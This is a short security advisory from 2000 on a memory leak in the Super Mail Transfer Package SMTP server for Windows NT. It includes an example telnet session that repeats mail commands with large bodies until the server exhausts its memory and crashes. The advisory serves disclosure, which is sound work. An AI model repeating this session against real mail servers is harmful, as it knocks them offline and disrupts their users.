USSR Advisory Code: USSR-2000031
Release Date:
January 13, 2000
Systems Affected:
Nosque Workshop, Super Mail Transfer Package (PORT 25) Server for
WinNT Version 1.9x and maybe
other versions.
THE PROBLEM
A memory leak exists in the Super Mail Transfer Package that may
cause an NT host to stop functioning and/or need to be rebooted.
The memory leak may occur when you connect to the SMTP port,
all information you send to the system will be stored in memory,
and SMTP support multiples HELO/ MAIL FROM/ RCPT TO / DATA in the
same connection.
If you did multiple HELO/ MAIL FROM/ RCPT TO / DATA in the same
connection the memory may not be deallocated. This condition may
cause the computer to stop functioning the moment memory runs out.
Example:
[hellme@die-communitech.net$ telnet example.com 25
Trying example.com...
Connected to example.com.
Escape character is '^]'.
220 MachineNamet AttackerIp with SMTP for NT BD0198
HELO CHEEF

mail to:
250 ok
rcpt to:
250 to: ok
Data
354 Send Mail Message Body; End with .
[buffer]
.
250 OK
If you repeat this commands all information passed to the server will
be stored in memory thus the memory leak problem,
Where [buffer] is aprox. 10000 characters.
